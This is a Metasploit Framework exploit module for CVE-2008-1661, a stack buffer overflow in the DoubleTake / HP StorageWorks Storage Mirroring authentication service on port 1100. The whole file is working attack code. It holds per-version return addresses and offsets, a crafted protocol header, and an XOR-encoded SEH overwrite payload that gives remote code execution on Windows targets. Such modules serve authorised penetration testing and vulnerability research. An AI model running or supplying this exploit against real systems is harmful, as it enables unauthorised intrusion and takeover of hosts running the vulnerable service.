##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'DoubleTake/HP StorageWorks Storage Mirroring Service Authentication Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the authentication mechanism of
					NSI Doubletake which is also rebranded as HP Storage Works. This vulnerability
					was found by Titon of Bastard Labs.
			},
			'Author'         => [ 'ri0t <ri0t[at]ri0tnet.net>' ],
			'References'     =>
				[
					['CVE', '2008-1661' ],
					['OSVDB', '45924' ],
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00",
				},
			'Platform'       => 'win',

			'Targets'        =>
				[
					['doubletake 4.5.0',      { 'Ret' => 0x006f5fa7, 'Offset' => 5544 } ],
					['doubletake 4.4.2',      { 'Ret' => 0x0074e307, 'Offset' => 944  } ],
					['doubletake 4.5.0.1819', { 'Ret' => 0x006e62dd, 'Offset' => 5544 } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jun 04 2008'
			))

		register_options(
			[
				Opt::RPORT(1100)
			], self.class)
	end

	def exploit

		connect

		print_status("Trying target #{target.name}...")

		header =
			"\x00\x02\x00\x01\x27\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
			"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x00"+
			"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01"+
			"\x00\x00\x00\x1e\x00\x00\x00\x01\x00\x01"

		xor = Rex::Encoding::Xor::Byte
		filler =  rand_text_english(1) * (target['Offset'])
		seh = generate_seh_payload(target.ret)
		buffercoded = xor.encode(seh+payload.encoded, [0xf0].pack("C"))
		sploit =  header + filler + buffercoded[0]
		sock.put(sploit)

		handler
		disconnect
	end

end
